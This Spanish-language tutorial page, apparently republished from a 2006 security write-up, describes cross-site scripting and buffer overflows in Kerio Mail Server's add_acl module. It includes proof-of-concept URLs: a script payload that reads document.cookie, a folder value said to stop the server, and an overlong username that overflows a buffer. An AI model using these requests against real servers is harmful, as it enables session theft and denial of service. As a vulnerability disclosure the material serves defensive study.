Multiples desbordamientos de buffer y cross site scripting en Kerio Mail Server - Módulo add_acl

3 - Módulo add_acl

Tutorial creado por David F. Madrid . Extraido de: http://www.nautopia.net

21 Febrero 2006

< anterior | 1 2 3 4 5 | siguiente >

Debido a un insuficiente filtrado de los caracteres contenidos por las variables de la petición HTTP cuyo contenido aparece por pantalla, se puede inyectar un script en el contexto de la página

http://[server]/add_acl?folder=~conde0@localhost/INBOX&add_name=<script>alert(document.cookie); </script>

Si además situamos como folder //~admin@localhost/INBOX//, el servidor se parará la pulsar en el enlace.

Además, el mismo desbordamiento de buffer se produce al utilizar un nombre de usuario largo, señal de que es la misma función la que produce el fallo

http://[server]/add_acl?folder=~AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @localhost/INBOX&add_name=lucas

< anterior | 1 2 3 4 5 | siguiente >

Anuncios Google

Autor y licencia de 'Multiples desbordamientos de buffer y cross site scripting en Kerio Mail Server'

Tutorial de David F. Madrid . Extraido de: http://www.nautopia.net CopyLeft

Debe reconocer los créditos de la obra de la manera especificada por el autor o el licenciador.

Este contenido ha sido recopilado por el equipo de Wikilearning. Todo el contenido recopilado se ha obtenido respetando y comunicando en nuestro site la licencia de cada fuente.

Wikilearning tiene permiso expreso por escrito de los autores para publicar los contenidos que ha extraído de otras webs, incluyendo su uso comercial.